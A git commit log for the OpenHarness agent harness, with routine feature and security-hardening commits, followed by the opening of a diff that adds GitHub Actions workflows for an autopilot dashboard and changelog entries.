yl-jiang a2bb51483d fix(api): strip <think>…</think> blocks from OpenAI-compatible streaming responses
Some providers (e.g. DeepSeek, MiniMax) embed chain-of-thought content
inside <think>…</think> tags in delta.content rather than using a dedicated
reasoning_content field.  Without filtering, these internal reasoning blocks
leak into the user-visible output.

Add _strip_think_blocks() which:
- Removes fully-closed <think>…</think> pairs via regex (DOTALL).
- Holds back any unclosed opening tag in a per-stream buffer so cross-chunk
  tags are handled correctly.

Tests: 9 new unit tests in TestStripThinkBlocks covering no-op passthrough,
single/multiple complete blocks, multiline blocks, unclosed tags, and the
cross-chunk scenario.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-20 14:30:23 +08:00
tjb-tech 55dc030208 Merge PR #170: feat(hooks): add user_prompt_submit, notification, stop events 2026-04-20 05:32:37 +00:00
tjb-tech df7fde80e8 fix(session): sanitize dangling tool calls on restore 2026-04-20 05:10:57 +00:00
José Maia badfb6b592 ci: retrigger 3.10 job (known flake in unrelated test_agent_send_message_flow_restarts_completed_agent) 2026-04-20 05:41:43 +01:00
José Maia cd68ff1e25 feat(hooks): add user_prompt_submit, notification, stop events
Extends the HookEvent enum with three new events so plugins authored
against Claude Code's hook protocol can run unmodified on OpenHarness.

- user_prompt_submit fires in QueryEngine.submit_message before the
  model sees a new user message. Payload: {event, prompt}.
- stop fires inside run_query when the assistant turn ends without
  tool uses. Payload: {event, stop_reason}.
- notification fires before the permission_prompt callback on
  confirmation-required tool calls. Payload: {event, notification_type,
  tool_name, reason}.

Hook return values are observational in this release; exit-code-driven
blocking and continuation semantics are deferred to a follow-up so the
surface area of this change stays small and reviewable.

Tests in tests/test_engine/test_query_engine.py cover each fire site,
including a negative case verifying stop does not fire on turns that
contain tool uses.
2026-04-19 21:05:23 +01:00
tjb-tech b11a83df66 test(ci): stabilize full-suite regressions 2026-04-19 15:07:24 +00:00
tjb-tech 1c00020d36 fix(coordinator): wait for async agent tasks in print mode 2026-04-19 14:56:47 +00:00
tjb-tech d4eae153d3 fix(shell): address Windows backspace and TUI shell regressions 2026-04-19 14:22:37 +00:00
tjb-tech 35fb12d5da release: publish 0.1.7 2026-04-18 14:45:36 +00:00
tjb-tech 738da98b34 fix(terminal): support multiline input and reduce flashing 2026-04-17 11:42:01 +00:00
tjb-tech 04f8747ab6 fix(install): register commands in ~/.local/bin 2026-04-17 11:42:01 +00:00
Junghwan 91c0e32035 fix(sandbox): fail closed for unsupported Docker domain policies (#152)
The Docker backend currently turns any non-empty allowed_domains list into
unrestricted bridge networking even though no per-domain enforcement exists.
Keep Docker networking disabled and emit a warning until the backend can
actually honor domain policies.

Constraint: Preserve a small, reviewable fix instead of designing a full Docker egress filter
Rejected: Keep bridge networking with docs-only clarification | leaves silently overbroad behavior in place
Confidence: high
Scope-risk: narrow
Reversibility: clean
Directive: If Docker domain policies are re-enabled later, add true enforcement before widening network access
Tested: PYTHONPATH=src pytest -q tests/test_sandbox/test_docker_backend.py tests/test_sandbox/test_adapter.py
Tested: PYTHONPATH=src ruff check src tests
Not-tested: Full pytest suite in this environment (collection fails because optional pyperclip dependency is missing)
Related: #150
2026-04-17 18:55:25 +08:00
Junghwan 3b395500a2 fix(personalization): stop replaying exported env var values (#151)
Personalization currently captures full `export NAME=value` payloads and
re-injects them through local rules into future system prompts. Narrow the
environment-variable extraction to the variable name so the feature can still
remember environment hints without persisting secret material.

Constraint: Keep personalization's environment-hint workflow intact
Rejected: Remove env_var extraction entirely | larger behavior change than needed for a first fix
Confidence: high
Scope-risk: narrow
Reversibility: clean
Directive: Do not persist raw env var values without a separate sensitivity model and tests
Tested: PYTHONPATH=src pytest -q tests/test_personalization/test_extractor.py tests/test_prompts/test_claudemd.py
Tested: PYTHONPATH=src ruff check src tests
Not-tested: Full pytest suite in this environment (collection fails because optional pyperclip dependency is missing)
Related: #149
2026-04-17 18:06:12 +08:00
Hinotobi 59017e0988 fix(plugin): address code execution via untrusted plugin activation (#156)
* [security] fix(plugin): require explicit trust for project plugins

* test: clarify project plugin secure-default behavior
2026-04-17 18:00:13 +08:00
Hinotobi 3186851c47 fix(ohmo): isolate shared-chat sessions by sender (#159) 2026-04-17 17:45:19 +08:00
yulin c881c7deed fix(agent): Explore and claude-code-guide no longer hard-code model=haiku (#154)
Both built-in agents previously set model="haiku", which caused
subprocess spawning to fail for users running any non-Anthropic provider
(OpenAI, Bedrock, custom base URLs, etc.) because the literal string
"haiku" is not a valid model on those APIs.

Changes:
- Explore and claude-code-guide now use model="inherit", consistent
  with the existing Plan and verification built-in agents.
- build_inherited_cli_flags now skips the --model flag when the value
  is "inherit", so the subprocess inherits the parent model via the
  OPENHARNESS_MODEL env var that build_inherited_env_vars already
  forwards. Previously "inherit" was passed verbatim as a model name,
  which would have also broken Plan and verification agents.

Tests added:
- build_inherited_cli_flags: model="inherit" and model=None produce no
  --model flag; a real model name is included as expected.
- Builtin agent definitions: Explore and claude-code-guide must not
  reference Anthropic-only model aliases; Plan, verification, Explore,
  and claude-code-guide must all use None or "inherit".

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 17:05:25 +08:00
tjb-tech 78160047f0 fix(dashboard): rename to OpenHarness, simplify kanban to 4 columns, richer pipeline animation
- Replace "OpenHarness-new" with "OpenHarness" in hero title
- Shorten description to "Kanban for OpenHarness self-evolution"
- Group 13 status columns into 4 vibe-kanban style: To Do, In Progress,
  In Review, Done — each card still shows its original status badge
- Redesign PipelineAnimation: orbital layout with 5 color-coded stage
  nodes, central hub, background grid, ambient particles, dual traveling
  packets, spoke data pulses, and scan line — fills the space properly

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-16 13:24:23 +00:00
tjb-tech 992cac66d0 fix(test): align autopilot dashboard assertion 2026-04-16 13:16:32 +00:00
tjb-tech dea9ee8386 feat(dashboard): redesign autopilot kanban with React + dark cyberpunk theme
Replace the inline HTML template with a Vite + React + TypeScript app
in autopilot-dashboard/. The new design follows the AnyFS dark theme
aesthetic with animated SVG hero background (data streams, constellation
nodes, binary rain, scanline), pipeline visualization, glass cards with
status-colored glow effects, and JetBrains Mono typography throughout.

- autopilot-dashboard/: new Vite+React project, builds to docs/autopilot/
- HeroBackground.tsx: multi-layer SMIL SVG animation
- PipelineAnimation.tsx: QUEUE→PREP→RUN→CHECK→MERGE traveling glow
- CI workflow updated to build React app before deploying to Pages
- Python _render_dashboard_html simplified to a minimal fallback page

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-16 13:13:35 +00:00
tjb-tech 2a91f66a3c fix(ci): auto-enable pages for autopilot dashboard 2026-04-16 12:53:45 +00:00
tjb-tech 67617e6eb5 fix(ohmo): restore runtime system prompt after startup 2026-04-16 12:52:11 +00:00
Octopus c0d3de2f95 feat(provider): add MiniMax as a first-class provider (#140)
- Add built-in `minimax` profile to `default_provider_profiles()` with
  `MiniMax-M2.7` as default model and `https://api.minimax.io/v1` base URL
- Add `minimax_api_key` / `MINIMAX_API_KEY` auth source support to
  `auth_source_provider_name()`, `default_auth_source_for_provider()`,
  and `resolve_auth()` env-var lookup
- Add MiniMax to `_KNOWN_PROVIDERS`, `_AUTH_SOURCES`, `_PROFILE_BY_PROVIDER`,
  and auth-status check in `AuthManager`
- Add `minimax` and `minimax_api_key` to CLI provider/auth-source label maps
  and `oh auth login` provider list; update default model for
  `minimax-anthropic` interactive flow from `minimax-m1` to `MiniMax-M2.7`
- Add `MiniMax-M2.7` / `MiniMax-M2.7-highspeed` model suggestions to the
  React UI model picker
- Add unit tests for MiniMax profile, auth-source mapping, env-var resolution,
  and profile materialisation

Co-authored-by: octo-patch <octo-patch@github.com>
2026-04-16 14:38:07 +08:00
Tao Zhang 944ccf9b22 fix(settings): preserve profile base_url/model under env overrides (#139)
ANTHROPIC_BASE_URL and ANTHROPIC_MODEL were applied unconditionally after
profile materialization, replacing explicit profile settings like Ollama's
base_url with unrelated endpoints. Now OPENHARNESS_* env vars always
override, while ANTHROPIC_*/OPENAI_* vars only apply when the active
profile doesn't explicitly configure the corresponding field.

Also adds Ollama setup instructions to README.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-16 14:35:25 +08:00
yu de9f9c05ca fix(agent): honor spawn overrides and harden task cleanup (#148) 2026-04-16 14:33:46 +08:00
yay2008 9caf7004a6 fix(runtime): resolve profile base_url and support openai_compat format (#146) 2026-04-15 20:33:31 +08:00
Hinotobi fab40c6eab fix(ohmo): secure default remote channel allowlists (#147) 2026-04-15 20:31:46 +08:00
José Maia 4090728163 fix(installer): detect installed launcher instead of hard-coding openh (#145)
The Windows PowerShell installer (scripts/install.ps1) hard-coded openh.exe
as the expected binary and printed "Launch (PowerShell): openh" in the
final instructions. The `openh` console-script alias was added in ce84a6a,
which landed after the v0.1.6 tag — so `pip install openharness-ai`
(the default install path) fetches a wheel whose entry_points.txt only
declares `oh`, `ohmo`, and `openharness`. openh.exe is never created, and
users follow the install banner straight into a "not recognized" error
(issue #144).

Instead of requiring a new PyPI release before the installer becomes
correct, detect which launcher the wheel actually produced and guide the
user to it. Preference order: openh (no shell collisions) -> openharness
(no collisions, always present) -> oh (collides with PowerShell's
Out-Host alias unless invoked as oh.exe).

Verification now succeeds against whichever launcher exists, and the
final "Next steps" block recommends the matching command along with the
relevant Out-Host caveat.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-15 14:52:53 +08:00
tjb-tech d38796518a Merge branch 'pr-141' into integrate-pr141
# Conflicts:
#	CHANGELOG.md
#	frontend/terminal/src/App.tsx
#	frontend/terminal/src/components/ConversationView.tsx
#	frontend/terminal/src/components/ToolCallDisplay.tsx
#	frontend/terminal/src/hooks/useBackendSession.ts
2026-04-14 12:07:30 +00:00
siaochuan 7d2a0104ba feat(tui): add codex output style to reduce streaming flicker 2026-04-14 19:18:20 +08:00
tjb-tech 0c84d85630 fix(bash): surface clearer install workflow guidance 2026-04-14 08:59:09 +00:00
tjb-tech ce84a6a1a2 fix(session): sanitize empty assistant messages and add windows alias 2026-04-14 08:51:33 +00:00
José Maia a2dea036e0 fix(engine): keep parallel tool turns alive when one tool raises (#138)
`asyncio.gather` was called without `return_exceptions=True`, so a single
escaping exception from one parallel tool propagated out of the gather,
abandoned its sibling coroutines, and left the assistant turn with one or
more `tool_use` blocks that never received a matching `tool_result`. The
Anthropic Messages API rejects the next request on the session with a 400
in that state, so any unhandled tool exception during a multi-tool turn
effectively bricks the session.

Pass `return_exceptions=True` and synthesize an `is_error=True`
`ToolResultBlock` for each raised exception, matched to the originating
`tool_use_id`. The exception is logged via `log.exception` so the failure
is still observable.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-14 16:39:42 +08:00
yulin f8e83c8409 fix(tools): update todo items in place instead of duplicating (#135)
* fix(tools): todo_write updates existing items in-place instead of duplicating

When an agent marks a todo item done by calling todo_write with
checked=True, the tool previously always appended a new [x] line,
leaving the original [ ] line intact. This produced duplicate entries.

The tool now performs an upsert:
- If the item exists as [ ], replace it with [x] in-place.
- If it is already in the target state, return a no-op result.
- Otherwise, append as before.

Adds test_todo_write_upsert to cover the new behaviour.

Co-authored-by: Copilot

* fix(tools): simplify todo_write tool description for LLM clarity

Co-authored-by: Copilot

---------

Co-authored-by: JiangYulin <yulin@JiangYulindeMacBook-Pro.local>
2026-04-14 00:04:24 +08:00
benben951 e537ba9867 chore(installer): add native Windows PowerShell installer (#118) 2026-04-13 20:28:42 +08:00
yulin ed0b5f02ab fix(tui): write trailing newline on exit so shell prompt starts on a fresh line (#133)
* fix(tui): write newline on exit so shell prompt starts on fresh line

Ink hides the cursor during rendering and restores it on exit, but does
not emit a trailing newline.  When the TUI process ends, the terminal
cursor sits at the end of the last rendered line, causing the shell
prompt to appear directly concatenated with the TUI output.

Rename restoreCursor → restoreTerminal and append '\n' alongside the
cursor-show escape sequence so the parent shell always receives the
prompt on a clean new line.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* test(tui): add regression guard for exit newline; update changelog

- Add tests/test_ui/test_tui_exit_sequence.py with two tests:
  * test_tui_exit_handler_writes_newline: asserts the cleanup write
    includes the trailing \n alongside \x1B[?25h
  * test_tui_exit_handler_registered_for_all_signals: asserts cleanup
    is registered for 'exit', SIGINT, and SIGTERM
- Add entry to CHANGELOG.md [Unreleased] Fixed section

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix(tests): update ohmo cli test inputs for allow_remote_admin_commands prompt

Commit dd1d235 added a new 'Allow explicitly listed administrative slash
commands from remote channels?' confirmation step to the gateway config
wizard, but the four interactive test cases in test_ohmo/test_cli.py were
not updated to provide an answer for it. This caused stdin to be exhausted
and click to emit Abort(), making all four tests fail with exit_code=1.

Add 'n' as the answer for allow_remote_admin_commands in each affected
test, and move the existing 'restart gateway' answer after it in
test_ohmo_config_interactive_can_restart_gateway.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-13 18:49:47 +08:00
tjb-tech 46a618bae8 test(ohmo): update interactive prompts for remote admin settings 2026-04-13 08:52:04 +00:00
tjb-tech 1ffc4a44fd fix(memory): preserve slug fallback in secure path resolution 2026-04-13 08:25:57 +00:00
hehe1111 45fb335db0 fix(feishu): reply in group threads instead of creating new topics (#125)
The Feishu channel did not support replying inside group topic threads.
Every bot response created a new top-level message, making conversations
in topic-enabled groups fragmented.

Three changes:

1. feishu.py: include thread_id/root_id in inbound metadata so that
   router.py can create per-topic session keys for group chats.

2. feishu.py: add reply_in_thread support to _send_message_sync using
   the lark-oapi ReplyMessageRequest with .reply_in_thread(True).

3. bridge.py: forward inbound message_id to OutboundMessage metadata
   so the Feishu channel can use it for thread replies.
2026-04-13 16:25:28 +08:00
Hinotobi dd1d235450 fix: harden gateway slash command security (#127)
* fix: harden gateway slash command security

* fix: add secure remote admin opt-in for gateway commands
2026-04-13 16:24:20 +08:00
tjb-tech 63ce793cba fix(tui): batch backend updates to reduce flicker 2026-04-13 07:31:24 +00:00
tjb-tech 1f5087c819 feat(subagents): improve discovery and reduce tui rerenders 2026-04-13 07:23:17 +00:00
tjb-tech 7f25a84d8e fix(ci): remove flaky fake subprocess cleanup assertion 2026-04-13 06:13:24 +00:00
tjb-tech 71c62c46a9 fix(ci): relax fake subprocess timeout assertions 2026-04-13 06:11:49 +00:00
tjb-tech cdb7256e6b fix(ci): make bash timeout tests robust across runners 2026-04-13 06:10:21 +00:00
tjb-tech 7f22107170 fix(ci): normalize bash timeout output under pty 2026-04-13 05:48:58 +00:00
tjb-tech 9f97283320 fix(bash): surface partial output for interactive timeouts 2026-04-13 05:34:05 +00:00
José Maia 4857439e50 fix(persistence): atomic writes and locks for shared state (#128)
Files under ~/.openharness/ — credentials, settings, session snapshots,
cron registry, memory index — were written with `Path.write_text()` in
truncating mode. A crash, SIGKILL, power loss, or out-of-disk error
during the write leaves a truncated file on disk; concurrent writers
clobber each other's updates; and the credentials file spent a brief
window at the default umask mode (commonly 0o644) before chmod-to-0600
ran.

Introduce `openharness.utils.fs.atomic_write_text` / `atomic_write_bytes`
which write to a same-directory temp file, fsync, apply the target mode
while the file is still private, and `os.replace` into place. Thread
them through all persistence writers. For read-modify-write on shared
files (credentials, settings, cron, memory index), pair atomic writes
with the existing `exclusive_file_lock` primitive so two `oh` processes
no longer race.

The generic lock helper moves from `openharness.swarm.lockfile` to
`openharness.utils.file_lock`. `swarm.lockfile` is retained as a thin
re-export so existing callers keep working.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-13 12:40:24 +08:00
tjb-tech 39ffc199a8 fix(config): resolve compact thresholds and base URL regressions 2026-04-12 15:33:43 +00:00
tjb-tech a6c63fdab9 fix(sandbox): bypass srt wrapping for docker backend 2026-04-12 06:23:12 +00:00
José Maia 508937c996 feat(sandbox): add Docker sandbox backend (#121)
The existing srt/bubblewrap sandbox only wraps shell commands — file I/O
tools bypass it entirely via direct Python calls. This adds Docker as a
second sandbox backend that provides container-level isolation for tool
execution while keeping the engine and API keys on the host.

- Add DockerSandboxSettings with image, resource limits, and env config
- Add backend field to SandboxSettings ("srt" or "docker")
- Implement DockerSandboxSession: long-running container per session
- Route shell, glob, and grep subprocess calls through docker exec
- Add path validation for file tools when Docker sandbox is active
- Auto-build default sandbox image (python:3.11-slim + ripgrep + git)
- Network isolation: --network=none by default, bridge when domains allowed
- Lifecycle integration: container starts/stops with the session
- atexit safety net for cleanup on unexpected exit
- 34 unit tests, 19 E2E tests (require Docker daemon)

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-12 14:22:37 +08:00
DDY 242e3d90dd fix(auth): support Claude subscription auth lookup on macOS (#123)
* fix claude auth lookup on macos

* fix claude keychain auth status display
2026-04-12 14:22:30 +08:00
tjb-tech 327c6ed2ff fix(ui,openai): reduce TUI flicker and make timeout configurable 2026-04-11 14:31:19 +00:00
tjb-tech bd4df81f63 Merge pull request #92 from 13ernkastel/codex/harden-path-rules-and-web-guards 2026-04-11 13:49:52 +00:00
tjb-tech e3bf45020c Merge pull request #96 from fengjie926/fix/skill-loader-yaml-frontmatter 2026-04-11 13:27:21 +00:00
tjb-tech a21011001a Merge remote-tracking branch 'origin/main' into fix/skill-loader-yaml-frontmatter
# Conflicts:
#	CHANGELOG.md
2026-04-11 13:27:00 +00:00
tjb-tech 76b2b48e5f Merge pull request #110 from yl-jiang/fix/grep-limit-overrun 2026-04-11 13:26:21 +00:00
tjb-tech 33d0f0db7e Merge remote-tracking branch 'origin/main' into fix/grep-limit-overrun
# Conflicts:
#	CHANGELOG.md
#	src/openharness/tools/grep_tool.py
2026-04-11 13:25:54 +00:00
Jiabin Tang 9b75800fde Merge pull request #65 from siaochuan/feat/session-personalization
feat(personalization): auto-extract local environment rules from session history
2026-04-11 21:14:40 +08:00
Jiabin Tang d40496465c Merge pull request #112 from HKUDS/fix/grep-limit-overrun-merge-main
fix(grep): handle long rg lines without crashing
2026-04-11 21:14:15 +08:00
Jiabin Tang a5c29495d4 Merge pull request #95 from siaochuan/fix/effective-model-display
fix(ui): show effective runtime model in header
2026-04-11 21:10:35 +08:00
Jiabin Tang 565e6f16d2 Merge pull request #114 from jiakeboge/fix-ansi-escape-in-model-names
fix(config): strip ANSI escape sequences from model names
2026-04-11 21:09:59 +08:00
Jiabin Tang 78b1d64585 Merge pull request #116 from yl-jiang/fix/tui-busy-indicator
fix(tui): keep busy spinner active throughout agent turn
2026-04-11 21:09:33 +08:00
JiangYulin b40007753f fix(tui): keep busy spinner active throughout agent turn
- Remove premature setBusy(false) from assistant_complete handler;
  busy state should only clear at true end-of-turn (line_complete).
- Add setBusy(true) to tool_started handler so the spinner activates
  even when tool calls come immediately after an assistant message.
- Show 'Processing...' label on tool_completed instead of clearing label.
- Improve inline comments to clarify the intended event flow.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-11 18:53:46 +08:00
jiakeboge a3f1b23fb6 fix(config): strip ANSI escape sequences from model names
When setting ANTHROPIC_MODEL or OPENHARNESS_MODEL environment variables
in terminals with formatting (e.g., bold text), ANSI escape sequences like
\x1b[1m can be inadvertently included in the model name. This causes the
API to receive an invalid model name like 'claude-opus-4-6[1m]' instead of
'claude-opus-4-6', resulting in a 404 error.

Changes:
- Add strip_ansi_escape_sequences() helper function
- Apply stripping in _apply_env_overrides() for env vars
- Apply stripping in merge_cli_overrides() for CLI args
- Add comprehensive tests for ANSI escape handling

Fixes #113
2026-04-11 17:22:19 +08:00
tjb-tech 7a29e66fdb fix(grep): handle long rg lines without crashing 2026-04-11 09:11:21 +00:00
Jiabin Tang 6cd53b3730 Merge pull request #104 from JiangweiYe76/fix/checkpoint-restore-environment-info
fix: regenerate system prompt on checkpoint restore
2026-04-11 17:06:48 +08:00
Jiabin Tang b9965a127d Merge pull request #105 from glitch-ux/feat/gemini-builtin-provider
feat(providers): add built-in Google Gemini provider profile
2026-04-11 17:06:45 +08:00
Jiabin Tang 7209b69212 Merge pull request #106 from glitch-ux/fix/auth-storage-keyring-noise-and-misleading-crypto
fix(auth): cache keyring probe and rename misleading encrypt/decrypt
2026-04-11 17:06:43 +08:00
Jiabin Tang 12758e7683 Merge pull request #111 from yl-jiang/feat/tui-tool-pair-display
feat(tui): pair tool-call and tool-result rows for cleaner transcript
2026-04-11 17:06:39 +08:00
JiangYulin 8b6b3b26d0 feat(tui): pair tool-call and tool-result rows for cleaner transcript
Previously, tool calls and their results were rendered as independent
rows. This flooded the transcript with raw result text on every agent
turn and gave no at-a-glance signal about whether a call succeeded.

Changes:
- ConversationView groups adjacent tool/tool_result items into pairs
  before rendering, using a new groupToolPairs() helper.
- ToolCallDisplay accepts an optional resultItem prop and renders a
  compound row:
    * Success  → result line count shown inline (e.g. "→ 24L")
    * Error    → red error icon inline + up to 5 error lines expanded
- Standalone successful tool_result rows are suppressed (no output).
- Standalone tool_result errors are still surfaced so failures are
  never silently swallowed.

Closes #109

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-11 16:34:04 +08:00
JiangYulin e2c2bc58e3 fix(grep): raise asyncio stream limit and catch ValueError on long lines
Ripgrep can output lines longer than asyncio's default StreamReader
limit (64 KB), for example in minified JS/CSS files or lock files.
When that happens, readline() internally raises LimitOverrunError which
is re-raised as ValueError and propagates unhandled all the way to the
REPL, crashing the session.

Two-layer fix:
- Pass limit=8*1024*1024 to asyncio.create_subprocess_exec so lines up
  to 8 MB are handled transparently.
- Catch ValueError inside _collect_rg_matches and
  _collect_rg_file_matches as a safety net so any line that somehow
  exceeds even that limit is silently skipped rather than aborting.

Closes #108

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-11 16:32:21 +08:00
José Maia b65b5b809a fix(auth): cache keyring probe and rename misleading encrypt/decrypt helpers
Two issues in auth/storage.py:

1. Every call to store_credential / load_credential / clear_provider_credentials
   probes the system keyring. When no backend is available (WSL, containers, CI),
   each probe fails and logs a warning. A single `oh setup` invocation triggers
   20+ "Keyring load failed" warnings because the availability is never cached.

   Fix: probe once on first call, cache the result, and log at INFO level
   instead of WARNING so users see a single quiet message.

2. The public `encrypt` / `decrypt` functions are XOR obfuscation with a key
   derived from the home-directory path — trivially reversible by anyone with
   filesystem access. Naming them encrypt/decrypt misleads callers into
   thinking credentials are protected by real cryptography.

   Fix: rename to `_obfuscate` / `_deobfuscate` (private), update module
   docstring to document the security model, and keep `encrypt` / `decrypt`
   as deprecated aliases for backward compatibility.
2026-04-11 03:29:18 +01:00
José Maia 373c97e5f6 feat(providers): add built-in Google Gemini provider profile
Wire Gemini as a first-class provider so `oh setup` offers it alongside
Anthropic, OpenAI, Moonshot, and others. The ProviderSpec for Gemini
already existed in the API registry; this commit adds the missing
profile, auth-source mappings, and CLI integration so users can
configure Gemini through the standard setup flow instead of manually
creating a custom profile.

Changes:
- Add "gemini" entry to `default_provider_profiles()` with
  `gemini-2.5-flash` as default model and the AI Studio OpenAI-compat
  base URL
- Register `gemini_api_key` auth source in `auth_source_provider_name()`
  and `default_auth_source_for_provider()`
- Add gemini to `_KNOWN_PROVIDERS`, `_AUTH_SOURCES`, and
  `_PROFILE_BY_PROVIDER` in `auth/manager.py`
- Add gemini to `_PROVIDER_LABELS`, `_AUTH_SOURCE_LABELS`, and the
  `oh auth login` API-key flow in `cli.py`
- Add Gemini row to the OpenAI-Compatible provider table in both
  README.md and README.zh-CN.md

Closes #90
2026-04-11 01:26:06 +01:00
Jiangwei Ye c99fe036ef fix: regenerate system prompt on checkpoint restore
- Don't restore saved system_prompt from checkpoint
- Let runtime regenerate it with current environment info
- Fixes cross-platform checkpoint migration issue
2026-04-10 23:15:30 +08:00
hope 093caf31b6 Merge branch 'HKUDS:main' into fix/skill-loader-yaml-frontmatter 2026-04-10 17:28:56 +08:00
hope d3d4108a1e Merge branch 'HKUDS:main' into fix/skill-loader-yaml-frontmatter 2026-04-10 15:57:45 +08:00
fengjie926 4b855bce14 fix(skills): use yaml.safe_load for SKILL.md frontmatter parsing
Replace naive line-by-line frontmatter parsing with yaml.safe_load to
correctly handle YAML block scalars (folded `>`, literal `|`), quoted
values, and other standard YAML constructs. Add comprehensive unit tests
for inline, folded, literal, quoted, fallback, and malformed frontmatter.

Made-with: Cursor
2026-04-10 15:26:35 +08:00
siaochuan 019812515b fix(ui): show effective model in runtime header 2026-04-10 14:06:23 +08:00
13ernkastel 64c0380805 Stabilize web tool tests across full suite 2026-04-09 23:06:27 +08:00
13ernkastel 04556430b7 Fix web tool test monkeypatching 2026-04-09 23:02:20 +08:00
13ernkastel 2931bc0f96 harden path rules and web network guards 2026-04-09 22:49:23 +08:00
siaochuan 1ed40da24d fix(lint): remove unused imports in extractor.py 2026-04-08 11:12:39 +08:00
siaochuan f24ca87d16 feat(personalization): auto-extract local environment rules from sessions
Add a personalization layer that learns the user's local environment from
conversation history and injects discovered rules into the system prompt.

Problem: Every OH user has unique infrastructure (server IPs, data paths,
conda envs, API endpoints, cron schedules) that must be manually configured
in CLAUDE.md or system_prompt. This is tedious and easy to forget.

Solution: Automatically extract environment-specific facts from each session
and persist them as local rules that are injected into future sessions.

How it works:
1. SESSION END: extractor scans conversation for patterns (SSH hosts,
   data paths, conda envs, API endpoints, env vars, Ray config, etc.)
2. PERSISTENCE: facts are merged into ~/.openharness/local_rules/facts.json
   with deduplication and confidence scoring
3. SESSION START: local rules are loaded as markdown and injected into
   the system prompt alongside CLAUDE.md and memory

Files:
- personalization/extractor.py: regex-based fact extraction (10 pattern types)
- personalization/rules.py: facts persistence and rules markdown generation
- personalization/session_hook.py: session-end integration
- prompts/context.py: inject local rules into system prompt
- ui/runtime.py: call extraction at session close (best-effort, non-blocking)
- 12 tests covering extraction, merging, and markdown generation

The extraction is pattern-based (no LLM calls needed), zero-cost, and
runs in <10ms at session end. Facts accumulate over sessions, building
a progressively richer environment profile.
2026-04-08 11:12:39 +08:00
264 changed files with 35285 additions and 1259 deletions
+59
View File
@@ -0,0 +1,59 @@
name: Autopilot Pages
on:
push:
branches:
- main
paths:
- "docs/autopilot/**"
- "autopilot-dashboard/**"
- ".github/workflows/autopilot-pages.yml"
workflow_dispatch:
permissions:
contents: read
pages: write
id-token: write
concurrency:
group: autopilot-pages
cancel-in-progress: true
jobs:
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: "20"
cache: "npm"
cache-dependency-path: autopilot-dashboard/package-lock.json
- name: Install dependencies
working-directory: autopilot-dashboard
run: npm ci
- name: Build dashboard
working-directory: autopilot-dashboard
run: npm run build
- name: Configure Pages
uses: actions/configure-pages@v5
with:
enablement: true
- name: Upload autopilot dashboard artifact
uses: actions/upload-pages-artifact@v3
with:
path: docs/autopilot
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4
+53
View File
@@ -0,0 +1,53 @@
name: Autopilot Run Next
on:
schedule:
- cron: "0 */2 * * *"
workflow_dispatch:
permissions:
contents: write
issues: write
pull-requests: write
concurrency:
group: autopilot-run-next
cancel-in-progress: true
jobs:
run-next:
runs-on: self-hosted
steps:
- name: Checkout
uses: actions/checkout@v4
with:
fetch-depth: 0
clean: false
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Set up uv
uses: astral-sh/setup-uv@v6
with:
enable-cache: true
- name: Install dependencies
run: uv sync --extra dev
- name: Execute autopilot tick
run: uv run python -m openharness autopilot tick --cwd "$GITHUB_WORKSPACE"
- name: Export dashboard
run: uv run python -m openharness autopilot export-dashboard --cwd "$GITHUB_WORKSPACE"
- name: Commit dashboard updates
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add docs/autopilot
git diff --cached --quiet && exit 0
git commit -m "autopilot: refresh dashboard after run"
git push
+53
View File
@@ -0,0 +1,53 @@
name: Autopilot Scan
on:
schedule:
- cron: "*/30 * * * *"
workflow_dispatch:
permissions:
contents: write
issues: write
pull-requests: write
concurrency:
group: autopilot-scan
cancel-in-progress: true
jobs:
scan:
runs-on: self-hosted
steps:
- name: Checkout
uses: actions/checkout@v4
with:
fetch-depth: 0
clean: false
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Set up uv
uses: astral-sh/setup-uv@v6
with:
enable-cache: true
- name: Install dependencies
run: uv sync --extra dev
- name: Scan autopilot intake
run: uv run python -m openharness autopilot scan all --cwd "$GITHUB_WORKSPACE"
- name: Export dashboard
run: uv run python -m openharness autopilot export-dashboard --cwd "$GITHUB_WORKSPACE"
- name: Commit dashboard updates
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add docs/autopilot
git diff --cached --quiet && exit 0
git commit -m "autopilot: refresh dashboard after scan"
git push
+61
View File
@@ -8,6 +8,37 @@ The format is based on Keep a Changelog, and this project currently tracks chang
### Added
- Hooks now support a `priority` field (default `0`). Within an event, hooks run highest-priority first, and hooks sharing a priority keep their registration order. This lets users order, for example, a security-check hook ahead of a logging hook regardless of where each is declared in settings or contributed by plugins.
- `edit_file` and `write_file` in the React TUI now preview a unified diff before applying file changes, let users approve once or for the rest of the session, and skip the extra prompt automatically in `full_auto` mode.
### Fixed
- Codex subscription requests now pass reasoning effort separately, enabling `gpt-5.5` with `xhigh` effort instead of treating `gpt-5.5 xhigh` as an unsupported model name.
